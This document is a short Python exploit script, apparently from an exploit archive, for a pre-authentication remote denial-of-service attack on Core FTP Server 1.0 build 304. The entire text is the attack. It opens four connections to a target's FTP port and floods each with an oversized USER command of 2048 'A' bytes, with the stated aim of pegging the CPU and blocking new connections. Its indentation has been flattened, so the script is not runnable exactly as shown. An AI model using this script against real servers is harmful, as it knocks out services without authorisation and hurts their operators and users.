Core FTP Server 1.0 Denial Of Service

`#!/usr/bin/env python  
  
###################################################################################  
#  
# Core FTP Server 1.0, build 304 Remote Denial of Service Exploit (Pre Auth)  
# Found By: Dr_IDE  
# Tested On: Windows XPSP3  
# Download: http://www.coreftp.com/server/  
# Notes: This will cause CPU usage to go to 100% and prevent new connections  
# Usage: ./script <Target IP>  
#  
###################################################################################  
  
import socket, sys  
  
def banner():  
print "\n##################################################################"   
print "# #"  
print "# Core FTP Server 1.0, build 304 Remote DoS Exploit #"   
print "# by Dr_IDE #"  
print "# #"  
print "##################################################################\n"  
  
s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM);  
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM);  
s3 = socket.socket(socket.AF_INET, socket.SOCK_STREAM);  
s4 = socket.socket(socket.AF_INET, socket.SOCK_STREAM);  
  
buff = ("\x41" * 2048);  
  
try:  
banner();  
print ("[*] Connecting to target...");  
s1.connect((sys.argv[1] , 21));  
s2.connect((sys.argv[1] , 21));  
s3.connect((sys.argv[1] , 21));  
s4.connect((sys.argv[1] , 21));  
print ("[*] Sending evil stuff...");  
s1.send("USER " + buff + "\r\n");  
s2.send("USER " + buff + "\r\n");  
s3.send("USER " + buff + "\r\n");  
s4.send("USER " + buff + "\r\n");   
print ("[*] Success! The server should now be inaccessible");  
s1.close();  
s2.close();  
s3.close();  
s4.close();  
  
except:  
print ("[-] Could not connect to server.");  
`